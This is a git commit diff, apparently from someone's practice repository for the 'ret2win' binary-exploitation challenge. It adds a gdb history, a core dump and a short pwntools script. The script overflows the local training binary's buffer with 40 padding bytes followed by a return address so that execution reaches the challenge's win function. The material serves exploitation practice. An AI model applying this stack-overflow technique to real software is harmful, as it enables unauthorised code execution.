summaryrefslogtreecommitdiff
path: root/x86_64/ret2win
diff options
context:
space:
mode:
Diffstat (limited to 'x86_64/ret2win')
-rw-r--r--x86_64/ret2win/.gdb_history6
-rw-r--r--x86_64/ret2win/corebin0 -> 2183168 bytes
-rwxr-xr-xx86_64/ret2win/exploit.py13
3 files changed, 19 insertions, 0 deletions
diff --git a/x86_64/ret2win/.gdb_history b/x86_64/ret2win/.gdb_history
new file mode 100644
index 0000000..54449f7
--- /dev/null
+++ b/x86_64/ret2win/.gdb_history
@@ -0,0 +1,6 @@
+starti
+context
+nexti
+break main
+continue
+q
diff --git a/x86_64/ret2win/core b/x86_64/ret2win/core
new file mode 100644
index 0000000..4a61a20
--- /dev/null
+++ b/x86_64/ret2win/core
Binary files differ
diff --git a/x86_64/ret2win/exploit.py b/x86_64/ret2win/exploit.py
new file mode 100755
index 0000000..d5506b2
--- /dev/null
+++ b/x86_64/ret2win/exploit.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python3
+from pwn import *
+
+prog = process('./ret2win')
+payload = b''
+for c in range(40):
+ payload += b'a'
+
+payload += p64(0x0000000000400756)
+payload += b"\n"
+prog.sendline(payload)
+sleep(1)
+print(str(prog.recv(), 'UTF-8'))